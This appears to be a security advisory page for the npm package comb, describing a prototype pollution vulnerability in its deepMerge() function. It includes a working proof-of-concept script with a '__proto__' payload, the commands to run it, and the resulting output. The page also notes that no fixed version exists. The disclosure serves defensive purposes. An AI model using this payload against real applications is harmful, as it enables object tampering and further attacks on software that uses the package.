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comb@0.2.4 vulnerabilities

A framework for node

  • latest version

    2.0.0

  • first published

    14 years ago

  • latest version published

    4 years ago

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    Direct Vulnerabilities

    Known vulnerabilities in the comb package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    comb is a framework for node

    Affected versions of this package are vulnerable to Prototype Pollution via the deepMerge() function.

    ##PoC:

    // PoC.js
var deepMerge = require("comb/lib/base/object.js").deepMerge

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
deepMerge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

    Execute the following commands in the terminal:

    npm i comb # Install affected module
node PoC.js # Run the PoC

    Check the Output:

    "Before: undefined"
"After : Yes! Its Polluted"

    How to fix Prototype Pollution?

    There is no fixed version for comb.

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